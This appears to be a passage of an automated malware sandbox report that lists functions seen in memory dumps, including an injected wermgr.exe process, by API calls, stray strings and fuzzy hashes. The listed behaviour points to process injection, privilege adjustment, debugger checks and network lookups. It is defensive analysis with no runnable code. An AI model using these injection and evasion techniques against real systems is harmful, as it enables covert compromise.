Instruction Fuzzy Hash: 5831B772E44248FBEF10EBA0DD49BDDBAB8AB08706F204115F601B61D0D7B59A81DF25

Uniqueness

Uniqueness Score: -1.00%

Function 00305825, Relevance: 14.0, APIs: 9, Instructions: 522sleepCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,00000040), ref: 00305D04
GetLastError.KERNEL32(?,?,00000040), ref: 00305D10
GetCommandLineW.KERNEL32(?,?,00000040), ref: 00305D97
GetLastError.KERNEL32(?,?,00000040), ref: 00305DA3
Sleep.KERNELBASE(00002710,00000004), ref: 00305EB3
ExitProcess.KERNEL32 ref: 00305EBB

Memory Dump Source

Source File: 00000004.00000002.2094204925.00000000002F0000.00000040.00000001.sdmp, Offset: 002F0000, based on PE: false

Similarity

API ID: CommandErrorLastLine$ExitProcessSleep
String ID:
API String ID: 17785287-0
Opcode ID: c7b864b6727ebd68c6b6dbfde23c36e115f9072d802382395f4b5fac3bdb9f48
Instruction ID: b621ab72fc2133f74e6de27e9882a625ab8faa4d3e6938882b5cd0c92ebae229
Opcode Fuzzy Hash: c7b864b6727ebd68c6b6dbfde23c36e115f9072d802382395f4b5fac3bdb9f48
Instruction Fuzzy Hash: 84226F74601B04CFDB2ACF59C8A5B2B77E5EB18714F20491EE586CB7A0D772E8809F42

Uniqueness

Uniqueness Score: -1.00%

Function 6E160842, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 6E160899
ext-ms-, xrefs: 6E1608AD

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 3d8a0f5da3d53532b653a3f925f5fce1c8d05a632f94c00458b7ec0cbe218a3c
Instruction ID: 2944868578bd6ea170e2699dfe012f46a976754cc499e173547bc60e8f9ebbdb
Opcode Fuzzy Hash: 3d8a0f5da3d53532b653a3f925f5fce1c8d05a632f94c00458b7ec0cbe218a3c
Instruction Fuzzy Hash: B921F372E45625ABDB71CBA98C50A1F376CAB027A4F210524E915A7281F770ECE0E6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6E160909, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52b4e5f3170f6754e2f615e3860f78655fbca4298136156b711088504f486ff2
Instruction ID: c2909a4a4908ec6d3856e7a6ebe70a6d7a6e927937327e34aed8a610f079a75a
Opcode Fuzzy Hash: 52b4e5f3170f6754e2f615e3860f78655fbca4298136156b711088504f486ff2
Instruction Fuzzy Hash: C601F5377546159FFF65CEADDC5094F339BAB923203228520F919CB184EB31D890E790

Uniqueness

Uniqueness Score: -1.00%

Function 6E15F2FC, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6E15DC8E,00000001,00000364,FFFFFFFF,000000FF,?,00000000,?,6E15B197,00000000,?,6E15B20F), ref: 6E15F33D

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ffe27498f412acedb5a8839babc455cebbeb3027b7fc3d6577000da291a8cfbb
Instruction ID: e417982721d73ba32837d38b057475a84138b06e07dc00e69d3c5e6fb62dac97
Opcode Fuzzy Hash: ffe27498f412acedb5a8839babc455cebbeb3027b7fc3d6577000da291a8cfbb
Instruction Fuzzy Hash: 51F0BBB524162657FFC14BE68818A8B37599B56660B3141119834DA384DB20D8A1F6E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E15B044, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6E15B13C
SetUnhandledExceptionFilter.KERNEL32 ref: 6E15B146
UnhandledExceptionFilter.KERNEL32(?), ref: 6E15B153

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ac5206ca321175dc3e1d05f7a5786cf5cbd830e98566ebe5daccc3976291ff8a
Instruction ID: e3b0e9ea2fa4c8065e2e8aa60e5c15df3c9ce08620a6bc382ddadc3f7ef944fd
Opcode Fuzzy Hash: ac5206ca321175dc3e1d05f7a5786cf5cbd830e98566ebe5daccc3976291ff8a
Instruction Fuzzy Hash: 9031C4B491122CABCB61DF64D988BDDBBB8AF08310F6045EAE41CA7250E7709BD59F44

Uniqueness

Uniqueness Score: -1.00%

Function 6E161447, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6E16148B

Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E1633E0
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E1633F2
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E163404
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E163416
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E163428
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E16343A
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E16344C
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E16345E
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E163470
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E163482
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E163494
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E1634A6
Part of subcall function 6E1633C3: _free.LIBCMT ref: 6E1634B8

_free.LIBCMT ref: 6E161480

Part of subcall function 6E15DDCA: HeapFree.KERNEL32(00000000,00000000), ref: 6E15DDE0
Part of subcall function 6E15DDCA: GetLastError.KERNEL32(?,?,6E163554,?,00000000,?,?,?,6E16357B,?,00000007,?,?,6E1615DE,?,?), ref: 6E15DDF2

_free.LIBCMT ref: 6E1614A2
_free.LIBCMT ref: 6E1614B7
_free.LIBCMT ref: 6E1614C2
_free.LIBCMT ref: 6E1614E4
_free.LIBCMT ref: 6E1614F7
_free.LIBCMT ref: 6E161505
_free.LIBCMT ref: 6E161510
_free.LIBCMT ref: 6E161548
_free.LIBCMT ref: 6E16154F
_free.LIBCMT ref: 6E16156C
_free.LIBCMT ref: 6E161584

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: d8cf26d12b694217ce0a2769daa6512d7cfd4bf6069f88d7896c5303988c6d53
Instruction ID: 33e999b7aba3c34d0ece9d0586781614a109c2195872ef480e741327a8165275
Opcode Fuzzy Hash: d8cf26d12b694217ce0a2769daa6512d7cfd4bf6069f88d7896c5303988c6d53
Instruction Fuzzy Hash: B13160B16147019FEB51CAB9D840B97B3ECBF12358F205819E06ED72A4DF35E9E4AB10

Uniqueness

Uniqueness Score: -1.00%

Function 6E163562, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6E16352A: _free.LIBCMT ref: 6E16354F

_free.LIBCMT ref: 6E1635B0

Part of subcall function 6E15DDCA: HeapFree.KERNEL32(00000000,00000000), ref: 6E15DDE0
Part of subcall function 6E15DDCA: GetLastError.KERNEL32(?,?,6E163554,?,00000000,?,?,?,6E16357B,?,00000007,?,?,6E1615DE,?,?), ref: 6E15DDF2

_free.LIBCMT ref: 6E1635BB
_free.LIBCMT ref: 6E1635C6
_free.LIBCMT ref: 6E16361A
_free.LIBCMT ref: 6E163625
_free.LIBCMT ref: 6E163630
_free.LIBCMT ref: 6E16363B

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4abf6ccd113c9858d282887c07212a2b005c15822463cbf5e1b8101d4236a65d
Instruction ID: 11d757ca99ed11c4e3a86d12098957391199fdd6d10344484156b89ce1be66c1
Opcode Fuzzy Hash: 4abf6ccd113c9858d282887c07212a2b005c15822463cbf5e1b8101d4236a65d
Instruction Fuzzy Hash: 661186B2540B04BAD530E7F0CC09FCB779CAF45708F408C15B6AA671A0EF79B5A56B50

Uniqueness

Uniqueness Score: -1.00%

Function 6E1634C1, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E1634D9

Part of subcall function 6E15DDCA: HeapFree.KERNEL32(00000000,00000000), ref: 6E15DDE0
Part of subcall function 6E15DDCA: GetLastError.KERNEL32(?,?,6E163554,?,00000000,?,?,?,6E16357B,?,00000007,?,?,6E1615DE,?,?), ref: 6E15DDF2

_free.LIBCMT ref: 6E1634EB
_free.LIBCMT ref: 6E1634FD
_free.LIBCMT ref: 6E16350F
_free.LIBCMT ref: 6E163521

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: aea48eb0074a25efd1c1a4b7a5b41f624d3665319e4bcb97b80447856a9429d8
Instruction ID: 6f14bb037b048d66ddaddc483e2db5724ccf186bfdb45c0bcc50753a7e70b63a
Opcode Fuzzy Hash: aea48eb0074a25efd1c1a4b7a5b41f624d3665319e4bcb97b80447856a9429d8
Instruction Fuzzy Hash: 17F096B150060597CA90CAE8E489C6B73EDFA46314B709C05F06DD7685CB35F8D1BB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E15DC43, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,6E15B197,00000000,?,6E15B20F,00000000,00000000,00000000,00000000,00000000,?,6DD41183,?,?), ref: 6E15DC48
_free.LIBCMT ref: 6E15DCA5
_free.LIBCMT ref: 6E15DCDB
SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,00000000,?,6E15B197,00000000,?,6E15B20F,00000000,00000000,00000000,00000000,00000000), ref: 6E15DCE6

Memory Dump Source

Source File: 00000004.00000002.2094802923.000000006DD41000.00000020.00020000.sdmp, Offset: 6DD40000, based on PE: true

Associated: 00000004.00000002.2094800122.000000006DD40000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095142044.000000006E169000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095155917.000000006E18A000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2095159359.000000006E18C000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2095169926.000000006E1A4000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5fee3307a9a24e8c524ae0100c76669f096db8519c9109805ada0be5e71872fd
Instruction ID: 69cb23a1969ce5218abd68e6e563ff453ac911b2409ee18989c7d06d9182a1b2
Opcode Fuzzy Hash: 5fee3307a9a24e8c524ae0100c76669f096db8519c9109805ada0be5e71872fd
Instruction Fuzzy Hash: BF11C6B22549006F9A819AF98C84A5F235DABC32B9731462CF574963D0EBA48CE07F10

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wermgr.exe PID: 2408 Parent PID: 2480 wermgr.exeCOMMON

Executed Functions

Function 00068010, Relevance: 14.7, APIs: 1, Strings: 7, Instructions: 662fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 000680C2

Strings

FGKL, xrefs: 00068250
MEDy, xrefs: 000681FC
qrst, xrefs: 00068218
89o1, xrefs: 0006820A
Zfbc, xrefs: 00068234
RSlU, xrefs: 00068242
hi5k, xrefs: 00068226

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: CreateFile
String ID: 89o1$FGKL$MEDy$RSlU$Zfbc$hi5k$qrst
API String ID: 823142352-3865785760
Opcode ID: 004c496efadc007fd72893c5a3b14bb09e772b890de002f7ecec3fce32d53747
Instruction ID: 40ccd03be48d2abce68d44c2b7f1ac28e5f025f78e81a97845d2d7634eeb0f7f
Opcode Fuzzy Hash: 004c496efadc007fd72893c5a3b14bb09e772b890de002f7ecec3fce32d53747
Instruction Fuzzy Hash: AC02F631718B084FD758EB2C98567FA77D2EBD9310F04467EE48AC7293DE7988068786

Uniqueness

Uniqueness Score: -1.00%

Function 000743C0, Relevance: 11.2, APIs: 4, Strings: 1, Instructions: 2453COMMON

Download Yara Rule

Strings

4(;s, xrefs: 0007599C

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: 4(;s
API String ID: 0-2649581580
Opcode ID: 060b1d17fd590da5496cdf40c74d1f65dea4cbc83a9aaa89ba27e983121d0d84
Instruction ID: 06fb8bb8258f989811a71076a12ebe1a475978fa92f4eae2bc674cdd1e8c3297
Opcode Fuzzy Hash: 060b1d17fd590da5496cdf40c74d1f65dea4cbc83a9aaa89ba27e983121d0d84
Instruction Fuzzy Hash: 7AF23931614A495BC7ACDB28C8A56BE77D2FBC8311FA4962EF44BC75E0E774D8818306

Uniqueness

Uniqueness Score: -1.00%

Function 00082060, Relevance: 9.5, APIs: 4, Strings: 1, Instructions: 793timeCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 0008245F

Part of subcall function 000646F0: FindFirstFileW.KERNELBASE ref: 00064751

Part of subcall function 000646F0: FindNextFileW.KERNELBASE ref: 00064897

SetTimer.USER32 ref: 00082A53
RtlAddVectoredExceptionHandler.NTDLL ref: 00082AF9

Strings

*, xrefs: 000825A2

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFind$CurrentDirectoryExceptionFirstHandlerNextTimerVectored
String ID: *
API String ID: 3512887837-2068112996
Opcode ID: 898ff1afec9329fcd2c028b2b9ab6579c9e6abf0682c5eee7c224b2d16626ddc
Instruction ID: 22e1d343f5114082ccb6079b0178e9cecff8652a96928ed475a31896a6d7ab23
Opcode Fuzzy Hash: 898ff1afec9329fcd2c028b2b9ab6579c9e6abf0682c5eee7c224b2d16626ddc
Instruction Fuzzy Hash: 7F429770618A088FEB98FF28EC5576A77E2FB95300F404529D58AC32A2DF78DD45CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0007FBB0, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 247fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE ref: 0007FC63
SleepEx.KERNEL32 ref: 0007FC96
FindNextFileW.KERNELBASE ref: 0007FE37

Strings

*, xrefs: 0007FC44

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFind$FirstNextSleep
String ID: *
API String ID: 2635277345-163128923
Opcode ID: ac64be81f9309de224a9a2cb329008b60824c66475a469fe74b53a107defb28b
Instruction ID: d16653ec1ea398616fad666f2a0dcb528df6f834db19bfb600913aa329c3ae4b
Opcode Fuzzy Hash: ac64be81f9309de224a9a2cb329008b60824c66475a469fe74b53a107defb28b
Instruction Fuzzy Hash: 0F610031618B0D4BD7A4BB18D8497BA72D3EBD5314F50863DE45EC3192EE798C464386

Uniqueness

Uniqueness Score: -1.00%

Function 00082659, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 312COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 000827B5

Strings

*, xrefs: 000825A2

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Sleep
String ID: *
API String ID: 3472027048-2068112996
Opcode ID: cb6c256ddd72aca5fefc8f4b7c517f5f2290542ad56ad450ba5d06353a38bd33
Instruction ID: 609ae76d5a8d9fcc4de5d561ea30b23d5095bebb89daa5630e7d42b43e3894ea
Opcode Fuzzy Hash: cb6c256ddd72aca5fefc8f4b7c517f5f2290542ad56ad450ba5d06353a38bd33
Instruction Fuzzy Hash: 298127B1618E188FE764FB68A8553AD73D2FB84310F414129D98AD3293DF38CD42C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00061290, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 230fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE ref: 00061319
FindNextFileW.KERNELBASE ref: 000613F7

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

Strings

anager is not running., xrefs: 000612ED

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFindHeap$AllocateCreateFirstNext
String ID: anager is not running.
API String ID: 1597475749-668627959
Opcode ID: d7d6d92624585b496b34cf3ff593733114f8b3be4aba6d48ed8641b94dc73b56
Instruction ID: ab5ed2c3ab91c301a42772e7aa0429c52e591eade8b6ec7a8371f7e21394a1bd
Opcode Fuzzy Hash: d7d6d92624585b496b34cf3ff593733114f8b3be4aba6d48ed8641b94dc73b56
Instruction Fuzzy Hash: 3851D53261CA1C4BD765AB2C98497FAB3D2FBD8720F590219E88AC3255DE74DD4287C2

Uniqueness

Uniqueness Score: -1.00%

Function 00061500, Relevance: 4.9, APIs: 1, Strings: 1, Instructions: 1432COMMON

Download Yara Rule

Strings

D, xrefs: 000621F9

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 16e2e07d579516e65f5d77c87011c5a3de4802aefb81a3e33e1f728f541ea3ce
Instruction ID: fe4a24a81062831fbe6423f4c56fd047f2e5e2e2ce770e05179be0f1f7c44360
Opcode Fuzzy Hash: 16e2e07d579516e65f5d77c87011c5a3de4802aefb81a3e33e1f728f541ea3ce
Instruction Fuzzy Hash: DA92F631224A459BD79CDB3894A5ABE72D3FBD8314FA8562EF857C72D1EB30D8418342

Uniqueness

Uniqueness Score: -1.00%

Function 00064C40, Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32 ref: 00064C75
AdjustTokenPrivileges.KERNELBASE ref: 00064CBF
CloseHandle.KERNELBASE ref: 00064CCC

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AdjustCloseHandleLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 4225666910-0
Opcode ID: b2c6eb48d7ec7b6e181535a2f4bfb11437ff9d0e1441fcad35f33062ec65bc7f
Instruction ID: 143cc77353880cee46f9c2182394ce3cbce59b6fc4e47c39b052661825a4a658
Opcode Fuzzy Hash: b2c6eb48d7ec7b6e181535a2f4bfb11437ff9d0e1441fcad35f33062ec65bc7f
Instruction Fuzzy Hash: 781161316187048FE7A4DB29DC88B5BBBE5FFC8311F51492EB44AC7260DA38C845CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0006C290, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 501threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0007AFC0: WriteProcessMemory.KERNELBASE ref: 0007AFDB

Part of subcall function 0006F6B0: NtQueryInformationProcess.NTDLL ref: 0006F6D7

ResumeThread.KERNELBASE ref: 0006C707

Strings

@, xrefs: 0006C5E0

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Process$InformationMemoryQueryResumeThreadWrite
String ID: @
API String ID: 343643738-2766056989
Opcode ID: 2f134ca694b7090a5e9ed2e1fa666a76e83c8f1db4f0083de4c4353b01a114e0
Instruction ID: 1e7c068b54c7f7781f562cc73417b11d6ce9a4005ecfd796b46c18a04fed5ff0
Opcode Fuzzy Hash: 2f134ca694b7090a5e9ed2e1fa666a76e83c8f1db4f0083de4c4353b01a114e0
Instruction Fuzzy Hash: 8FF14F7021CB484FE7A8EF29D459BABB7D2FB98304F50851DA48EC3291DF389945CB46

Uniqueness

Uniqueness Score: -1.00%

Function 000646F0, Relevance: 3.2, APIs: 2, Instructions: 208fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE ref: 00064751
FindNextFileW.KERNELBASE ref: 00064897

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: cf3373454880f970c09e367fd2eaabd6582b51e27720b7e114fc68a9aa7c3bcc
Instruction ID: fb82c251428834cb83dece2136d66ca2ab52b1f620ea81b0cbe7ff2fb491ad54
Opcode Fuzzy Hash: cf3373454880f970c09e367fd2eaabd6582b51e27720b7e114fc68a9aa7c3bcc
Instruction Fuzzy Hash: 8B41FA3171CE484FE768A66CA8896BF72D3EBD7311F14462EE05AC3292DE64DC474286

Uniqueness

Uniqueness Score: -1.00%

Function 0007D0A0, Relevance: 2.3, Strings: 1, Instructions: 1003COMMON

Download Yara Rule

Strings

@, xrefs: 0007D217

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AllocateCreateMemoryProcessWrite
String ID: @
API String ID: 1863305613-2766056989
Opcode ID: 488c5279ff6bd7ca6380ebd10ebab54ab73d1cb1f3ac591a6a35c41b7b27c802
Instruction ID: 6bbdfb3d5d947a4a57290f8b1b83079092938939f22409377ea122f52b5e9070
Opcode Fuzzy Hash: 488c5279ff6bd7ca6380ebd10ebab54ab73d1cb1f3ac591a6a35c41b7b27c802
Instruction Fuzzy Hash: 3B625F30618B498FD7A9DF28C445BAAB7E1FF98300F50855ED48EC3296DB78D885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00069200, Relevance: 2.0, APIs: 1, Instructions: 516COMMON

Download Yara Rule

APIs

LookupAccountSidW.ADVAPI32 ref: 0006934E

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AccountAllocateCreateLookup
String ID:
API String ID: 2346952394-0
Opcode ID: 743f23c2a102fe25f253b5326c130fb986ddd78e9a817458cce6e6a981283e2a
Instruction ID: 99e64ec6c3609fa5d87281128b2a48c7460b747c160ade06845fbed89c66f572
Opcode Fuzzy Hash: 743f23c2a102fe25f253b5326c130fb986ddd78e9a817458cce6e6a981283e2a
Instruction Fuzzy Hash: 59D10570618B188BDB64AF68C8957BBB3E6FF84300F54452DE886C7691EF78C945C782

Uniqueness

Uniqueness Score: -1.00%

Function 00072C50, Relevance: 1.9, APIs: 1, Instructions: 400COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd3b03a7c42cdcf3e32765c7f7d5a3c9a14767341f3d582bc860c109879039a
Instruction ID: 06181d47a98df9315be6747a78104150d4c236045a5539e10d0caef79f4303e5
Opcode Fuzzy Hash: 4cd3b03a7c42cdcf3e32765c7f7d5a3c9a14767341f3d582bc860c109879039a
Instruction Fuzzy Hash: 01B17470B1CA098BD79CEF18D495A6A77E1FB98310F50852DF58EC32A2DE38DD41874A

Uniqueness

Uniqueness Score: -1.00%

Function 00078CA0, Relevance: 1.9, APIs: 1, Instructions: 361COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32 ref: 00078DA1

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: d6b397e7f3d8c7337cf4df4543018823f6c4772d1c43ed2641d70cd38135910b
Instruction ID: e5714fecfdfff609cd52d1d7f42cc3c3244387c1cd40d0c34e9ccd5b0cdac30d
Opcode Fuzzy Hash: d6b397e7f3d8c7337cf4df4543018823f6c4772d1c43ed2641d70cd38135910b
Instruction Fuzzy Hash: A6A1C731658A494BD76CBF2898597BAB3D2FF94300F50862DF48BC7292EF78D8418349

Uniqueness

Uniqueness Score: -1.00%

Function 000789B0, Relevance: 1.8, APIs: 1, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 00083170: HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,000733D2), ref: 00083195
Part of subcall function 00083170: RtlReAllocateHeap.NTDLL(?,?,?,?,?,?,?,?,?,?,000733D2), ref: 00083201

getaddrinfo.WS2_32 ref: 00078B4B

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: Heap$AllocateCreategetaddrinfo
String ID:
API String ID: 2848311172-0
Opcode ID: 0b1cdc69538d4629ab8c4fda583dc9227080ca74eefe44152e58f0b7bebe55a5
Instruction ID: 34af090ec940e8549fde81d484f4803ced84b39f21083634687960650543a431
Opcode Fuzzy Hash: 0b1cdc69538d4629ab8c4fda583dc9227080ca74eefe44152e58f0b7bebe55a5
Instruction Fuzzy Hash: DB713770A58B094FEBA99B28985D7BAB6D1FBC5310F50C62DE44EC3291EF7CD8058346

Uniqueness

Uniqueness Score: -1.00%

Function 000784E0, Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetAdaptersInfo.IPHLPAPI ref: 00078546

Memory Dump Source

Source File: 00000006.00000002.2357052432.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: ce9f4258c4d780ba9c6c930d7122486d518426246334cca948af55334b26e46c
